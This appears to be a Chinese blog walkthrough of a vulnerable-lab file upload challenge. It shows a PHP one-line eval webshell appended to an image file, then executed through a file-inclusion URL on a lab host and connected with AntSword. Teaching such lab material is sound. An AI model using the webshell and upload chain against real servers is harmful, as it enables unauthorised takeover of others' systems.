不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…
你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。
提示
getimagesize了解一下
解法
上传一句话木马。
<?php @eval($_POST['a']); ?>
上传失败。
审查元素。
<div class="page-content">
<div id="usu_main">
<p class="title">这里只允许上传图片,不要乱搞!</p>
<form class="upload" method="post" enctype="multipart/form-data" action="">
<input class="uploadfile" type="file" name="uploadfile"><br>
<input class="sub" type="submit" name="submit" value="开始上传">
</form>
<p class="notice">上传文件的后缀名不能为空,且必须是jpg,jpeg,png中的一个</p> </div>
</div>
将后缀改为 .jpg 后上传。上传失败。
用 Photoshop 创建图片。
winhex 打开文件,文件结尾接一句话木马。
<?php @eval($_POST['a']); ?>
保存。上传成功。
借用文件包含漏洞:
http://172.17.149.214:8765/vul/fileinclude/fi_remote.php?filename=http://172.17.149.214:8765/vul/unsafeupload/uploads/2024/05/11/404512663f369dc1222657174065.jpg&submit=%E6%8F%90%E4%BA%A4
用蚁剑连接。
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。